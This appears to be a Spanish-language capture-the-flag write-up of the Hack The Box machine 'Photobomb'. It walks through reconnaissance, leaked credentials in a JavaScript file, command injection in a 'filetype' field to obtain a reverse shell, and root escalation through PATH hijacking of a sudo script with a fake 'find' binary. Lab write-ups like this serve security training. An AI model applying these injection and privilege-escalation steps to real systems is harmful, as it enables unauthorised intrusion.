Photobomb - Hack The Box

PortScan

❯ nmap -sCV -p22,80 10.10.11.182 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-18 18:08 CST
Nmap scan report for photobomb.htb (10.10.11.182)
Host is up (0.28s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e22473bbfbdf5cb520b66876748ab58d (RSA)
|   256 04e3ac6e184e1b7effac4fe39dd21bae (ECDSA)
|_  256 20e05d8cba71f08c3a1819f24011d29e (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Photobomb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.88 seconds

Vemos que hay un subdominio hay que agregarlo al /etc/hosts

❯ whatweb http://10.10.11.182
http://10.10.11.182 [302 Found] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.182], RedirectLocation[http://photobomb.htb/], Title[302 Found], nginx[1.18.0]
http://photobomb.htb/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.182], Script, Title[Photobomb], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block], nginx[1.18.0]
cat /etc/hosts | grep photobomb
10.10.11.182 photobomb.htb

Funciona

❯ ping -c 1 photobomb.htb
PING photobomb.htb (10.10.11.182) 56(84) bytes of data.
64 bytes from photobomb.htb (10.10.11.182): icmp_seq=1 ttl=63 time=1261 ms

--- photobomb.htb ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1260.996/1260.996/1260.996/0.000 ms

Vamos a inspeccionar la pagina web que corre en el puerto 80

Vemos que si damos click en click here nos muestra este panel de autenticacion

No tenemos credenciales por el momento asi que podemos ver el codigo fuente

Vemos que hay un archivo .js vamos a ver que es lo que tiene

❯ curl http://photobomb.htb/photobomb.js
function init() {
  // Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
  if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
    document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:b0Mb!@photobomb.htb/printer');
  }
}
window.onload = init;

Nos esta dando un enlace si lo copiamos y pegamos vemos que nos autentica automaticamente y nos muestra esta web

En la parte de del boton rojo vemos que podemos descargar una foto vamos a interceptar con burpsuite la peticion

Al interceptar nos muestra esto

En la parte de filetype vemos que hay es donde esta definiendo la extencion del archivo que queremos asi que podemos tratar de concatenar un comando y directamente vamos a enviarnos una reverse shell

https://www.revshells.com/

Una vez puesto hay vamos a ponernos en escucha en el puerto 443 para recibir la shell

❯ nc -nlvp 443
listening on [any] 443 ...

Ahora damos a forward para recibir la shell

Funciona

❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.113] from (UNKNOWN) [10.10.11.182] 45146
bash: cannot set terminal process group (715): Inappropriate ioctl for device
bash: no job control in this shell
wizard@photobomb:~/photobomb$ 

Para poder hacer ctrl+c podemos hacer

script /dev/null -c bash
CTRL+Z
stty raw -echo; fg
reset xterm
ENTER

Podemos ver la primer flag

wizard@photobomb:~$ cat user.txt 
857825188e86ff89aee311f10870e0ec
wizard@photobomb:~$ 

Nada interesante

wizard@photobomb:/$ find / -perm -4000 2>/dev/null
/usr/bin/gpasswd
/usr/bin/fusermount
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/at
/usr/bin/su
/usr/bin/passwd
/usr/bin/mount
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/umount
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
wizard@photobomb:/$ 

Escalada de Privilegios

Si hacemos un sudo -l podemos ejecutar este script y setear variables de enterno

wizard@photobomb:/$ sudo -l
Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh
wizard@photobomb:/$ 

Vamos a ver el script y esta usuando el comando find que encontramos en la ultima linea lo que esta haciendo es que

Esta buscando todos los archivos con extensión ".jpg" en el directorio "source_images" y sus subdirectorios, y cambia el propietario y grupo de cada archivo encontrado a "root:root".
wizard@photobomb:/$ cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
wizard@photobomb:/$ 

Tenemos la capacidad de modificar variables como el 'path' para utilizar un comando 'find' personalizado. Además, si ejecutamos el comando 'find' con privilegios de administrador, el 'find' se ejecutará con permisos de root.

wizard@photobomb:~$ echo bash > find
wizard@photobomb:~$ chmod +x find

Ahora somos root

wizard@photobomb:~$ sudo PATH=$PWD:$PATH /opt/cleanup.sh
root@photobomb:/home/wizard/photobomb# whoami
root
root@photobomb:/home/wizard/photobomb# cd /root
root@photobomb:~# cat root.txt 
bc2ba4ec7d130530e08a60ce6b034fde
root@photobomb:~#